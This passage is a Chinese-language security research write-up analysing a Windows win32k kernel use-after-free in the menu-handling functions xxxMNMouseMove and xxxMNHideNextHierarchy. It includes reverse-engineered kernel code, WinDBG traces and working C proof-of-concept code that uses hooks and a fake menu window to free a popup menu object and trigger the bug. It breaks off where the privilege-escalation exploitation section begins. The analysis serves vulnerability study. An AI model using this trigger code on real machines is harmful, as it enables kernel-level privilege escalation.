.text:BF93EC2F push edi ; wParam
.text:BF93EC30 push 1F0h ; message
.text:BF93EC35 push esi ; pwnd
.text:BF93EC36 call _xxxSendMessage@16 ; xxxSendMessage(x,x,x,x)
.text:BF93EC3B test eax, eax
.text:BF93EC3D jnz short loc_BF93EC8C
.text:BF93EC3F mov eax, [ebp+pwnd]
.text:BF93EC42 cmp [eax+0B0h], ebx
.text:BF93EC48 jnz short loc_BF93EC8C
.text:BF93EC4A push ebx
.text:BF93EC4B call _xxxMNHideNextHierarchy@4 ; xxxMNHideNextHierarchy(x)
.text:BF93EC50 jmp short loc_BF93EC8C
_补丁修复的目标代码片段_
在 Windows 内核中，菜单对象在屏幕中的显示通过窗口 `tagWND` 对象的特殊类型 `#32768`(`MENUCLASS`)
菜单窗口对象来实现，菜单窗口对象末尾的扩展区域中存储指向关联的弹出菜单 `tagPOPUPMENU` 对象的指针。
_菜单窗口对象和弹出菜单对象的对应关系_
当函数 `xxxSendMessage` 发送 `MN_SETTIMERTOOPENHIERARCHY` 消息时，系统最终在函数
`xxxMenuWindowProc` 中接收并调用函数 `MNSetTimerToOpenHierarchy` 以处理消息并向调用者返回该函数的返回值。
当执行流返回到函数 `xxxMNMouseMove` 中时，系统判断返回值，如果返回值为 `0` 则调用函数
`xxxMNHideNextHierarchy` 以关闭目标弹出菜单 `tagPOPUPMENU` 对象的弹出子菜单。
由于在调用函数 `xxxMNHideNextHierarchy` 之前，函数 `xxxMNMouseMove` 中还存在调用
`xxxSendMessage` 函数以发送 `MN_SETTIMERTOOPENHIERARCHY`
消息的语句，这将有可能导致执行流反向调用到用户进程中。因此，在此期间攻击者可以在用户进程中触发逻辑使目标弹出菜单 `tagPOPUPMENU`
对象的内存被释放或重新分配，这将导致目标参数 `popupMenu`
指向内存区域中存在不可控的数据。如果攻击代码对在原位置重新分配的内存块中的数据进行刻意构造，那么在函数 `xxxMNHideNextHierarchy`
中向子菜单窗口对象发送消息时，将使内核上下文的执行流可能直接进入位于用户进程地址空间的利用代码函数中。
#### 0x2 追踪
在 `win32k` 内核模块中，存在来自其他函数的两处对函数 `xxxMNMouseMove` 的调用：
* xxxHandleMenuMessages(x,x,x)+2E9
* xxxMenuWindowProc(x,x,x,x)+D1C
其中一处是在函数 `xxxHandleMenuMessages` 处理 `WM_MOUSEMOVE` 或 `WM_NCMOUSEMOVE`
消息时，另一处是在函数 `xxxMenuWindowProc` 处理 `MN_MOUSEMOVE` 消息时。
通过 WinDBG 对函数 `xxxMNMouseMove`
下断点并在虚拟机桌面区域弹出右键菜单，观测在自然条件下系统会通过哪些路径调用该函数，发现得到的调用栈都基本如下：
# ChildEBP RetAddr
00 98af4a90 94779066 win32k!xxxMNMouseMove
01 98af4aec 94778c1f win32k!xxxHandleMenuMessages+0x2ed
02 98af4b38 9477f8f1 win32k!xxxMNLoop+0x2c6
03 98af4ba0 9477f9dc win32k!xxxTrackPopupMenuEx+0x5cd
04 98af4c14 83e501ea win32k!NtUserTrackPopupMenuEx+0xc3
05 98af4c14 76e170b4 nt!KiFastCallEntry+0x12a
_函数 xxxMNMouseMove 的自然条件调用栈_
* * *
**xxxMNMouseMove**
在函数 `xxxMNMouseMove` 开始的位置，函数判断通过参数传入的弹出菜单 `tagPOPUPMENU`
对象是否为当前的根弹出菜单对象，并判断传入的鼠标坐标与先前存储在当前菜单状态 `tagMENUSTATE`
结构体的坐标相比是否确实改变，如果不满足条件则直接返回。接下来函数通过调用 `xxxMNFindWindowFromPoint`
函数并将目标弹出菜单对象指针和新的坐标作为参数传入，以查找该坐标点坐落的在屏幕中显示的菜单窗口对象。当返回值是真实的菜单窗口对象地址时，函数将该窗口对象作为目标窗口对象，将鼠标坐标位于的菜单项序号作为参数
`wParam` 向目标窗口对象发送 `0x1E5`(`MN_SELECTITEM`) 消息以执行选择菜单项的操作，并接收函数的返回值作为反馈标志变量。
在函数 `xxxMNMouseMove` 中调用 `xxxSendMessage` 以发送 `MN_SETTIMERTOOPENHIERARCHY`
消息的语句之前，函数判断前面返回的反馈标志变量的数值，以确保被指针指向的菜单项关联另一个弹出式菜单（`MF_POPUP`）作为子菜单，并且不处于禁用状态（`MFS_GRAYED`）。
.text:00139517 xor edi, edi
.text:00139519 push edi ; lParam
.text:0013951A push [ebp+cmdItem] ; wParam
.text:0013951D push 1E5h ; message
.text:00139522 push esi ; pwnd
.text:00139523 call _xxxSendMessage@16 ; xxxSendMessage(x,x,x,x)
.text:00139528 test al, 10h ; MF_POPUP
.text:0013952A jz short loc_139583
.text:0013952C test al, 3 ; MFS_GRAYED
.text:0013952E jnz short loc_139583
_函数 xxxMNMouseMove 判断选择菜单项反馈的标志变量数值_
接下来函数通过调用函数 `xxxSendMessage` 向目标菜单窗口对象发送 `MN_SETTIMERTOOPENHIERARCHY`
消息来设置打开弹出子菜单的定时器。如果函数返回值为 `0` 表示弹出子菜单的操作执行失败，那么函数调用 `xxxMNHideNextHierarchy`
来关闭所属于当前的目标弹出菜单对象的子弹出菜单。
popupNext = popupMenu->spwndNextPopup;
if ( popupNext )
{
[...]
popupNext = popupMenu->spwndNextPopup;
if ( popupNext != popupMenu->spwndActivePopup )
xxxSendMessage(popupNext, 0x1E4, 0, 0); // MN_CLOSEHIERARCHY
xxxSendMessage(popupMenu->spwndNextPopup, 0x1E5, 0xFFFFFFFF, 0); // MN_SELECTITEM
[...]
}
_函数 xxxMNHideNextHierarchy 的代码片段_
函数 `xxxMNHideNextHierarchy` 判断目标弹出菜单对象的成员域 `spwndNextPopup` 指向的菜单窗口对象是否和成员域
`spwndActivePopup` 指向的相同。成员域 `spwndNextPopup` 指向与当前弹出菜单对象直接关联的子菜单的菜单窗口对象；而成员域
`spwndActivePopup` 用来存储当前正活跃菜单（即当前鼠标或键盘焦点所在的菜单）的菜单窗口对象。如果不相同，那么函数向成员域
`spwndNextPopup` 指向的子菜单窗口对象发送 `MN_CLOSEHIERARCHY` 消息，最终在消息处理函数
`xxxMenuWindowProc` 中接收该消息并对目标窗口对象关联的弹出菜单对象调用 `xxxMNCloseHierarchy`
以处理关闭子菜单的菜单对象菜单层叠状态的任务。
紧接着函数调用 `xxxSendMessage` 向子菜单窗口对象发送 `MN_SELECTITEM` 消息并向参数 `wParam` 传入
`0xFFFFFFFF` 数值以表示没有选择真实的菜单项，最终消息处理程序调用函数 `xxxMNSelectItem` 来处理选择菜单项的任务。
_函数 xxxMNMouseMove 的简要执行逻辑_
像前面提到的那样，函数 `xxxMNHideNextHierarchy` 在调用 `xxxSendMessage` 向成员域
`spwndNextPopup` 指向的子菜单窗口对象发送消息之前缺少对目标弹出菜单对象和传入参数的子菜单窗口对象进行必要的验证。
* * *
**xxxMNFindWindowFromPoint**
弹出菜单和其存在的子弹出菜单通过弹出菜单对象的成员域 `spwndNextPopup` 和 `spwndPrevPopup` 相互关联。
_弹出菜单对象和其存在的子弹出菜单对象的关联_
像函数名称前缀 `xxx` 所代表的含义那样，函数 `xxxMNFindWindowFromPoint`
中存在回调到用户上下文执行的代码逻辑。函数判断第一个参数指向的弹出菜单 `tagPOPUPMENU` 对象的成员域 `spwndNextPopup`
是否指向存在的子菜单窗口对象，如果是则函数调用 `xxxSendMessage` 向子菜单窗口对象发送
`MN_FINDMENUWINDOWFROMPOINT` 消息以将查找坐标点坐落的菜单窗口对象的任务暂时交给子菜单对象执行。
*puIndex = 0;
pwndNextPopup = popupMenu->spwndNextPopup;
if ( pwndNextPopup )
{
tlpwndT = gptiCurrent->ptl;
gptiCurrent->ptl = (_TL *)&tlpwndT;
v24 = pwndNextPopup;
++pwndNextPopup->head.cLockObj;
longHit = xxxSendMessage(
popupMenu->spwndNextPopup,
0x1EB, // MN_FINDMENUWINDOWFROMPOINT
(WPARAM)&itemHit,
(unsigned __int16)screenPt | (screenPt >> 16 << 16));
ThreadUnlock1();
if ( IsMFMWFPWindow(longHit) )
longHit = HMValidateHandleNoSecure((HWND)longHit, 1);
if ( longHit )
{
*puIndex = itemHit;
return longHit;
}
}
_函数 xxxMNFindWindowFromPoint 的代码逻辑片段_
在通过函数 `xxxSendMessageTimeout` 向窗口对象发送消息时，系统在调用对象指定的消息处理程序之前，还会调用 `xxxCallHook`
函数用来调用先前由用户进程设定的 `WH_CALLWNDPROC` 类型的挂钩处理程序。设置这种类型的挂钩会在每次线程将消息发送给窗口对象之前调用。
if ( (LOBYTE(gptiCurrent->fsHooks) | LOBYTE(gptiCurrent->pDeskInfo->fsHooks)) & 0x20 )
{
v22 = pwnd->head.h;
v20 = wParam;
v19 = lParam;
v21 = message;
v23 = 0;
xxxCallHook(0, 0, &v19, 4); // WH_CALLWNDPROC
}
_函数 xxxSendMessageTimeout 调用 xxxCallHook 函数_
系统最终在菜单窗口消息处理函数 `xxxMenuWindowProc` 中接收并处理 `MN_FINDMENUWINDOWFROMPOINT`
消息，并将子菜单窗口对象的弹出菜单对象作为目标参数以继续调用 `xxxMNFindWindowFromPoint` 函数。
case 0x1EBu:
pwnd = xxxMNFindWindowFromPoint((WCHAR)popupMenu, wParam, (int)lprc);
if ( IsMFMWFPWindow(pwnd) )
{
if ( !pwnd )
return 0;
lRet = (LRESULT)*pwnd; // pwnd->head.h
}
else
{
lRet = pwnd;
}
return lRet;
_函数 xxxMenuWindowProc 处理 MN_FINDMENUWINDOWFROMPOINT 消息_
函数 `xxxSendMessage` 向调用者函数 `xxxMNFindWindowFromPoint`
返回通过子菜单窗口对象查找的坐标点坐落窗口对象的用户句柄。接下来函数将该句柄转换成窗口对象指针，如果该指针指向真实的菜单窗口对象，则直接将该指针作为返回值返回。然而，如果目标弹出菜单对象的成员域
`spwndNextPopup` 不存在关联的子菜单窗口对象，或是函数 `xxxSendMessage` 返回的是 `0xFFFFFFFB` 或
`0xFFFFFFFF` 等代表窗口对象未找到的返回值，那么函数将继续向下执行，转而通过弹出菜单对象成员域 `spwndPopupMenu`
指向的当前菜单窗口对象执行查找任务。
_函数 xxxMNFindWindowFromPoint 的简要执行流_
* * *
**xxxMNDestroyHandler**
当在内核中调用函数 `xxxDestroyWindow` 销毁特定的菜单窗口对象期间，系统在函数 `xxxFreeWindow` 中根据目标窗口对象的成员域
`fnid` 的值调用对应的消息处理包装函数 `xxxWrapMenuWindowProc` 并传入 `WM_FINALDESTROY`
消息参数，最终在函数 `xxxMenuWindowProc` 中接收该消息并通过调用函数 `xxxMNDestroyHandler`
对目标菜单窗口对象关联的弹出菜单对象执行清理相关数据的任务。
.text:0008D9B6 lea ecx, [eax+6]
.text:0008D9B9 xor eax, eax
.text:0008D9BB push eax
.text:0008D9BC push eax
.text:0008D9BD push eax
.text:0008D9BE mov eax, _gpsi
.text:0008D9C3 push 70h ; WM_FINALDESTROY
.text:0008D9C5 and ecx, 1Fh
.text:0008D9C8 push esi
.text:0008D9C9 call dword ptr [eax+ecx*4+8]
_函数 xxxFreeWindow 根据成员域 fnid 调用消息处理包装函数_
在函数 `xxxMNDestroyHandler` 的末尾，函数将位于目标菜单窗口 `tagWND`
对象末尾扩展区域中指向关联的弹出菜单对象的指针置空；然后判断目标弹出菜单对象的成员标志位 `fDelayedFree`
是否处于置位状态，并据此决定是在完整菜单终止时再进行对目标弹出菜单对象的延时释放，还是在当前时刻立即释放目标弹出菜单对象。
pwnd = popupMenu->spwndPopupMenu;
*(_DWORD *)popupMenu |= 0x8000u; // fDestroyed
if ( pwnd )
*(_DWORD *)(pwnd + 0xB0) = 0; // Pointer to popupMenu
if ( *((_BYTE *)popupMenu + 2) & 1 ) // fDelayedFree
{
popupmenuRoot = popupMenu->ppopupmenuRoot;
if ( popupmenuRoot )
*(_DWORD *)popupmenuRoot |= 0x20000u; // ppopupmenuRoot->fFlushDelayedFree
}
else
{
MNFreePopup(popupMenu);
}
_函数 xxxMNDestroyHandler 的代码片段_
在内核中通过正规途径创建上下文弹出菜单对象时，根弹出菜单对象或子弹出菜单对象的成员标志位 `fDelayedFree` 默认情况下都会在函数
`xxxTrackPopupMenuEx` 或 `xxxMNOpenHierarchy` 中被置位。
* * *
另外，和本分析中的漏洞相关的更多系统机制在我之前的分析文章[《从 CVE-2017-0263
漏洞分析到菜单管理组件》](https://paper.seebug.org/588/ "《从 CVE-2017-0263
漏洞分析到菜单管理组件》")中有更详尽的涉及，如果感兴趣的话请点击链接移步。
#### 0x3 验证
通过在桌面点击鼠标右键，并使鼠标指针指向某个作为子弹出菜单入口的子菜单项（如“新建”命令）以尝试使执行流触达漏洞所在的位置，我发现始终无法命中，这是由于系统每次向目标菜单窗口发送
`MN_SETTIMERTOOPENHIERARCHY` 消息时都执行成功并返回成功的返回值，这样一来自然就不会触达漏洞所在的
`xxxMNHideNextHierarchy` 函数调用，因此需要自行构造验证代码以实现漏洞触发。
接下来谈一下触发的思路：
* * *
**#1 使 MN_SETTIMERTOOPENHIERARCHY 消息返回失败**
在函数 `xxxMNMouseMove` 执行期间，要想使发送 `MN_SETTIMERTOOPENHIERARCHY` 消息的
`xxxSendMessage`
函数调用返回失败的返回值，最直接的做法就是在调用之前的某个时机将目标菜单窗口对象的消息处理函数篡改为在用户进程中的自定义消息处理函数，并在自定义消息处理函数中针对这种消息返回失败的返回值。
* * *
**#2 释放目标弹出菜单对象**
要想在漏洞所在位置触发释放后重用（UAF）漏洞，则需要在适当时机执行对目标弹出菜单 `tagPOPUPMENU` 对象的释放。这个操作最好能在通过函数
`xxxSendMessage` 发送 `MN_SETTIMERTOOPENHIERARCHY` 消息期间执行。
前面已经提到，在发送消息时，调用对象指定的消息处理函数之前，系统会调用 `xxxCallHook` 函数分发调用先前由用户进程定义的
`WH_CALLWNDPROC` 窗口挂钩处理程序。因此，我们可以通过设置这种类型的挂钩处理程序，并在处理程序函数中对目标菜单窗口对象调用
`DestroyWindow` 等函数以触发对目标窗口对象的销毁操作。
调用 `DestroyWindow` 函数时，在内核中将进入函数 `xxxDestroyWindow` 中执行对目标菜单窗口对象的销毁操作。最终在内核函数
`xxxMNDestroyHandler` 中，如果目标菜单窗口对象的成员标志位 `fDelayedFree` 未置位，那么系统将直接调用函数
`MNFreePopup` 释放目标弹出菜单对象。
_释放目标弹出菜单对象的思路_
然而，在内核中通过正规途径创建上下文弹出菜单对象时，根弹出菜单对象或子弹出菜单对象的成员标志位 `fDelayedFree` 默认情况下都会在函数
`xxxTrackPopupMenuEx` 或 `xxxMNOpenHierarchy` 中被置位，因此我们需要先前单独创建窗口类型为
`#32768`(`MENUCLASS`)
的窗口对象作为被利用的目标对象，而不是使用通过正规途径创建的菜单窗口对象，这样一来新创建的菜单窗口对象同样存在通过扩展区域关联的弹出菜单
`tagPOPUPMENU` 对象作为扩展对象，并且所关联的弹出菜单 `tagPOPUPMENU` 对象的成员域 `fDelayedFree`
将不会被置位，后续在函数 `xxxMNDestroyHandler` 中的释放操作将立即执行。
* * *
**#3 使 xxxMNFindWindowFromPoint 返回目标窗口对象**
由于用来利用的目标菜单窗口对象是我们单独创建的，并不存在具体对应的某个菜单实体对象，因此通常情况下函数 `xxxMNFindWindowFromPoint`
不可能返回我们创建的菜单窗口对象指针。
根据前面的分析，函数 `xxxMNFindWindowFromPoint` 判断通过参数传入的弹出菜单对象成员域 `spwndNextPopup`
是否指向存在的子菜单窗口对象，如果是则调用 `xxxSendMessage` 向子菜单窗口对象发送 `MN_FINDMENUWINDOWFROMPOINT`
以将查找坐标点坐落的菜单窗口对象的任务暂时交给子菜单对象执行。
这样一来，可以通过将子菜单窗口对象的消息处理函数成员域篡改为用户进程中的自定义消息处理函数，并在自定义消息处理函数中返回我们先前创建的用来利用的目标菜单窗口对象的句柄。因此，函数
`xxxMNFindWindowFromPoint` 将收到由 `xxxSendMessage`
函数返回的真实的窗口对象句柄，并在转换成对象指针后向上级调用者返回。
而由于子菜单窗口对象关联具体的菜单，很多向其发送的消息需要在消息处理函数 `xxxMenuWindowProc`
中执行，因此需要在较为接近的时机替换。这可以通过设置 `WH_CALLWNDPROC` 窗口挂钩处理程序来执行。
* * *
**#4 触发鼠标移动消息**
这样一来，这就需要在利用代码中创建相互关联的根菜单和子菜单。
当子菜单完成在屏幕中的显示时，根菜单窗口对象和子菜单窗口对象已经通过各自的弹出菜单 `tagPOPUPMENU`
对象完成关联。在这一时机通过在用户进程定义的事件通知处理程序函数中调用函数 `SendMessage` 向根菜单窗口对象发送 `WM_MOUSEMOVE`
消息，可以使系统在内核中进入函数 `xxxMNMouseMove` 调用。
* * *
**验证代码的实现**
接下来根据思路实现具体的验证代码，用户进程中验证代码的大部分代码逻辑都在新创建的单独线程中执行。
在验证代码的主函数中通过 `CreatePopupMenu`
等函数创建两个弹出式的菜单对象，并在添加菜单项时将两个菜单对象相互关联，使第二个成为第一个的子菜单。
HMENU hMenuList[2] = { 0 };
hMenuList[0] = CreatePopupMenu();
hMenuList[1] = CreatePopupMenu();
MENUINFO mi = { 0 };
mi.cbSize = sizeof(mi);
mi.fMask = MIM_STYLE;
mi.dwStyle = MNS_AUTODISMISS | MNS_MODELESS | MNS_DRAGDROP;
SetMenuInfo(hMenuList[0], &mi);
SetMenuInfo(hMenuList[1], &mi);
LPCSTR szMenuItem = "item";
AppendMenuA(hMenuList[0], MF_BYPOSITION | MF_POPUP, (UINT_PTR)hMenuList[1], szMenuItem);
AppendMenuA(hMenuList[1], MF_BYPOSITION | MF_POPUP, 0, szMenuItem);
_创建并关联根菜单和子菜单对象的验证代码_
菜单的显示需要有用于承载的窗口作为菜单的拥有者窗口对象。注册并创建普通窗口类和窗口对象并将句柄存储在 `hWindowMain` 全局变量中：
WNDCLASSEXW wndClass = { 0 };
wndClass.cbSize = sizeof(WNDCLASSEXW);
wndClass.lpfnWndProc = DefWindowProcW;
wndClass.cbWndExtra = cbWndExtra;
wndClass.hInstance = GetModuleHandleA(NULL);
wndClass.lpszMenuName = NULL;
wndClass.lpszClassName = lpszClassName;
RegisterClassExW(&wndClass);
hWindowMain = CreateWindowExW(WS_EX_LAYERED | WS_EX_TOOLWINDOW | WS_EX_TOPMOST,
L"WNDCLASSMAIN",
NULL,
WS_VISIBLE,
0,
0,
1,
1,
NULL,
NULL,
GetModuleHandleA(NULL),
NULL);
_创建拥有者窗口对象的验证代码_
接下来创建关键的 `#32768` 类型的菜单窗口对象并将句柄存储在 `hwndFakeMenu`
全局变量中，这个窗口对象接下来将作为用来利用的目标对象。同时将新创建目标窗口对象的消息处理函数成员域篡改为由验证代码后续自定义的
`xxFakeMenuWindowProc` 消息处理函数。
hwndFakeMenu = CreateWindowExW(WS_EX_TOOLWINDOW | WS_EX_DLGMODALFRAME | WS_EX_WINDOWEDGE,
L"#32768",
NULL,
WS_POPUP | WS_BORDER,
0,
0,
1,
1,
NULL,
NULL,
NULL,
NULL);
SetWindowLongW(hwndFakeMenu, GWL_WNDPROC, (LONG)xxFakeMenuWindowProc);
_创建用来利用的菜单窗口对象的验证代码_
设置类型为 `WH_CALLWNDPROC` 的自定义挂钩处理程序，并设置范围包括 `EVENT_SYSTEM_MENUPOPUPSTART`
的自定义事件通知处理程序。
SetWindowsHookExW(WH_CALLWNDPROC, xxWindowHookProc,
GetModuleHandleA(NULL),
GetCurrentThreadId());
SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART, EVENT_SYSTEM_MENUPOPUPSTART,
GetModuleHandleA(NULL),
xxWindowEventProc,
GetCurrentProcessId(),
GetCurrentThreadId(),
0);
_设置自定义挂钩处理程序和事件通知处理程序的验证代码_
接下来通过调用 `TrackPopupMenuEx` 函数触发作为根菜单的第一个菜单对象在屏幕中的显示；然后使用 `GetMessage`
使当前线程进入消息循环状态。
TrackPopupMenuEx(hMenuList[0], 0, 0, 0, hWindowMain, NULL);
MSG msg = { 0 };
while (GetMessageW(&msg, NULL, 0, 0))
{
TranslateMessage(&msg);
DispatchMessageW(&msg);
}
_触发第根菜单对象在屏幕中显示的验证代码_
当用户进程调用函数 `TrackPopupMenuEx` 时，系统在内核中最终调用到 `xxxTrackPopupMenuEx`
函数处理弹出菜单操作。在显示任务执行完成时，函数调用 `xxxWindowEvent` 以分发 `EVENT_SYSTEM_MENUPOPUPSTART`
类型的事件通知，这表示目标菜单对象已显示在屏幕中。
在该事件通知分发后，执行流会进入验证代码自定义的事件通知处理程序 `xxWindowEventProc`
中。在处理程序中进行计数，并存储每次进入时的窗口句柄 `hwnd`
参数。当第一次进入处理程序函数时，表示根菜单已显示在屏幕中，处理程序将窗口句柄参数存储在全局变量 `hwndRootMenu` 中，并调用函数
`SendMessage` 向根菜单窗口对象发送 `WM_LBUTTONDOWN` 鼠标左键按下的消息以触发子菜单的弹出显示，并在参数 `lParam`
传入鼠标按下的相对坐标，坐标值应在当前菜单的子菜单项区域范围内，这将在内核中进入函数 `xxxMNOpenHierarchy`
处理子菜单的显示。与前面同样地，在显示任务执行完成时，函数调用 `xxxWindowEvent` 以分发
`EVENT_SYSTEM_MENUPOPUPSTART` 类型的事件通知，这表示目标菜单对象已显示在屏幕中。
当第二次进入处理程序函数时，表示子菜单已显示在屏幕中，根菜单窗口对象和子菜单窗口对象此时已经通过各自的弹出菜单 `tagPOPUPMENU`
对象完成关联。处理程序将窗口句柄参数存储在全局变量 `hwndHintMenu` 中，并调用函数 `SendMessage`
向第一次进入时存储的根菜单窗口对象 `hwndRootMenu` 发送 `WM_MOUSEMOVE` 鼠标移动的消息。这将使执行流在内核中进入
`xxxMNMouseMove` 函数中。
VOID CALLBACK
xxWindowEventProc(
HWINEVENTHOOK hWinEventHook,
DWORD event,
HWND hwnd,
LONG idObject,
LONG idChild,
DWORD idEventThread,
DWORD dwmsEventTime
)
{
switch (iMenuCreated)
{
case 0:
hwndRootMenu = hwnd;
SendMessageW(hwndRootMenu, WM_LBUTTONDOWN, 0, 0x00050005);
break;
case 1:
hwndHintMenu = hwnd;
SendMessageW(hwndRootMenu, WM_MOUSEMOVE, 0, 0x00060006);
break;
}
iMenuCreated++;
}
_验证代码自定义的事件通知处理程序函数_
需要注意的是，这两次对函数 `SendMessage` 的调用中，参数 `lParam` 均作为鼠标指针的相对坐标，其 `32` 位数据的高低 `16`
位分别存储横坐标和纵坐标的相对值。两次调用时传入的 `lParam` 参数不能重复，否则将导致在函数 `xxxMNMouseMove`
中判断坐标是否改变时得到未改变的结果，函数将直接返回。
在函数 `xxxMNMouseMove` 执行期间，系统调用函数 `xxxMNFindWindowFromPoint`
在查找坐标点坐落的菜单窗口对象指针。由于我们为根菜单创建并关联了子菜单对象，并且子菜单对象已显示在屏幕中，因此当前的根弹出菜单对象成员域
`spwndNextPopup` 指向子菜单窗口对象的地址。函数 `xxxMNFindWindowFromPoint` 将向子菜单窗口对象发送
`MN_FINDMENUWINDOWFROMPOINT` 消息。在函数 `xxxSendMessageTimeout`
调用对象指定的消息处理程序之前，将首先调用 `xxxCallHook` 函数以分发先前由用户进程设定的 `WH_CALLWNDPROC`
类型的挂钩处理程序。这将进入先前验证代码自定义的挂钩处理程序函数 `xxWindowHookProc` 中。
在自定义挂钩处理程序函数中，参数 `lParam` 指向 `tagCWPSTRUCT` 类型的对象。验证代码判断 `tagCWPSTRUCT` 对象的成员域
`message` 的值，当该值为 `0x1EB` 时，表示当前在内核中正处于在函数 `xxxSendMessageTimeout`
中调用子菜单窗口对象的消息处理函数以投递 `MN_FINDMENUWINDOWFROMPOINT` 消息之前。
验证代码判断当前的目标窗口对象句柄是否为先前存储的子菜单窗口句柄，如果是的话则修改目标窗口对象的消息处理函数为自定义的
`xxHintMenuWindowProc` 消息处理函数。
LRESULT CALLBACK
xxWindowHookProc(INT code, WPARAM wParam, LPARAM lParam)
{
tagCWPSTRUCT *cwp = (tagCWPSTRUCT *)lParam;
if (cwp->message == 0x1EB && cwp->hwnd == hwndHintMenu)
{
// MN_FINDMENUWINDOWFROMPOINT
SetWindowLongW(cwp->hwnd, GWL_WNDPROC, (LONG)xxHintMenuWindowProc);
}
return CallNextHookEx(0, code, wParam, lParam);
}
_验证代码自定义的挂钩处理程序函数_
执行流回到 `xxxSendMessageTimeout` 函数中，此时目标菜单窗口对象的消息处理函数已被篡改为自定义的
`xxHintMenuWindowProc` 消息处理函数，因此将在接下来回调到用户上下文执行该自定义消息处理函数实现消息投递。在函数
`xxHintMenuWindowProc` 中直接返回先前创建用于利用的 `hwndFakeMenu` 窗口对象句柄。
LRESULT WINAPI
xxHintMenuWindowProc(
_In_ HWND hwnd,
_In_ UINT msg,
_In_ WPARAM wParam,
_In_ LPARAM lParam
)
{
if (msg == 0x1EB)
{
return (LRESULT)hwndFakeMenu;
}
return DefWindowProc(hwnd, msg, wParam, lParam);
}
_验证代码自定义的子菜单窗口对象消息处理函数_
在内核中，函数 `xxxMNFindWindowFromPoint` 将 `xxxSendMessage`
函数的返回值作为查找到的窗口句柄并转换成窗口对象，将窗口对象地址作为返回值向上级调用者返回。
在执行一系列的判断等操作之后，函数 `xxxMNMouseMove` 调用 `xxxSendMessage` 函数向查找到的目标菜单窗口对象发送
`MN_SELECTITEM` 消息。这将进入验证代码自定义的利用菜单窗口对象消息处理函数 `xxFakeMenuWindowProc` 中。
在函数 `xxFakeMenuWindowProc` 中，验证代码判断消息参数的值。当消息参数值为 `0x1E5` 时，表示当前正在处理的是
`MN_SELECTITEM` 消息，根据内核函数的代码逻辑，验证代码在这里将 `MF_POPUP`(`0x00000010L`) 作为返回值返回。
函数 `xxxMNMouseMove` 在对返回的标志变量进行判断之后，调用函数 `xxxSendMessage` 发送向目标菜单窗口对象发送
`MN_SETTIMERTOOPENHIERARCHY` 消息。这将再次进入自定义消息处理函数中。
在函数 `xxFakeMenuWindowProc` 中，验证代码判断消息参数值为 `0x1F0` 时，直接将 `0`
作为返回值返回。在内核中函数将得到“调用失败”的返回值，因此将继续向下调用 `xxxMNHideNextHierarchy` 函数。
LRESULT WINAPI
xxFakeMenuWindowProc(
_In_ HWND hwnd,
_In_ UINT msg,
_In_ WPARAM wParam,
_In_ LPARAM lParam
)
{
switch (msg)
{
case 0x1E5:
return (LRESULT)MF_POPUP;
case 0x1F0:
return (LRESULT)0;
}
return DefWindowProc(hwnd, msg, wParam, lParam);
}
_验证代码自定义的利用菜单窗口对象消息处理函数_
在调用对象指定的消息处理函数以投递 `MN_SETTIMERTOOPENHIERARCHY` 消息之前，函数 `xxxSendMessageTimeout`
还调用 `xxxCallHook` 函数分发挂钩处理程序。在自定义的挂钩处理程序函数 `xxWindowHookProc` 中，增加对成员域
`message` 数值的判断：
当 `message` 数值为 `0x1F0` 时，验证代码调用 `DestroyWindow` 触发销毁先前创建用来利用的 `hwndFakeMenu`
菜单窗口对象。
if (cwp->message == 0x1F0)
{
DestroyWindow(hwndFakeMenu);
}
_自定义挂钩处理程序函数增加 message 判断处理逻辑_
此时在内核中将对目标菜单窗口对象调用 `xxxDestroyWindow` 函数。在该函数执行期间，由于成员域 `fDelayFree`
未被置位，目标菜单窗口对象所关联的弹出菜单 `tagPOPUPMENU`
对象将被立刻销毁，扩展区域指向弹出菜单对象的指针将被置空。而由于锁计数尚未归零，因此目标菜单窗口对象将仍旧存留与内核中，暂时不会被释放。
当执行流回到函数 `xxxMNMouseMove` 中时，目标弹出菜单对象已被销毁并释放，但寄存器 `edx`
仍旧存储被释放弹出菜单对象的地址，在没有对该地址进行有效性判断的前提下，函数直接调用 `xxxMNHideNextHierarchy`
函数，导致释放后重用漏洞的触发。
* * *
**释放后重用的触发**
在函数 `xxxMNMouseMove` 中调用 `xxxSendMessage` 发送 `MN_SETTIMERTOOPENHIERARCHY`
消息的下一条指令位置下断点，并在测试环境中执行编译后的验证代码程序。命中断点后观测数据，可发现目标菜单窗口对象的扩展区域原本指向关联的弹出菜单对象的指针已被置空；而存储在寄存器
`ebx` 中的目标弹出菜单对象的内存块已处于 Free 状态：
win32k!xxxMNMouseMove+0x14e:
9481953d 85c0 test eax,eax
kd> r esi
esi=fe810050
kd> ?poi(esi+b0)
Evaluate expression: 0 = 00000000
kd> r ebx
ebx=ffb6e328
kd> !pool ffb6e328
Pool page ffb6e328 region is Paged session pool
ffb6e000 size: 260 previous size: 0 (Allocated) Gla5
ffb6e260 size: 10 previous size: 260 (Allocated) Glnk
ffb6e270 size: 10 previous size: 10 (Allocated) Glnk
ffb6e280 size: a0 previous size: 10 (Allocated) Gla8
*ffb6e320 size: 40 previous size: a0 (Free ) *Uspm Process: 85bc5338
Pooltag Uspm : USERTAG_POPUPMENU, Binary : win32k!MNAllocPopup
[...]
_目标弹出菜单对象的内存块已处于 Free 状态_
接下来执行流进入 `xxxMNHideNextHierarchy` 函数调用并将目标弹出菜单对象地址作为参数传入，在该函数中向成员域
`spwndNextPopup`
指向的子菜单窗口对象发送消息。由于已被释放内存的目标弹出菜单对象的各个成员域已被置空，因此该函数在判断后将直接返回，不会导致系统 BSOD 的发生。
#### 0x4 利用
前面通过编写验证代码实现了对释放后重用漏洞的触发。在验证代码自定义的窗口挂钩处理程序中，通过调用 `DestroyWindow`
函数触发销毁用于利用的菜单窗口对象，这将导致系统在内核中直接释放目标菜单窗口对象所关联的弹出菜单 `tagPOPUPMENU`
对象，而在内核中该对象的指针仍旧存储在寄存器 `ebx` 中。
在函数 `xxxSendMessage` 返回后，函数 `xxxMNMouseMove`
并没有从目标菜单窗口对象的扩展区域重新获取该指针，也没有对寄存器中存储的地址进行验证，就直接将该地址作为参数传入函数
`xxxMNHideNextHierarchy` 中。在函数 `xxxMNHideNextHierarchy` 中对参数指向的目标弹出菜单对象的成员域
`spwndNextPopup` 进行访问，此时该地址的内存区域处于被释放（Free）状态，这就导致了释放后重用的发生。
* * *
**内存区域的重新占用**
接下来通过在已被释放的弹出菜单对象的内存区域重新分配新的内存块并构造其中的数据，实现对该漏洞的利用和内核提权。与之前分析 CVE-2017-0263
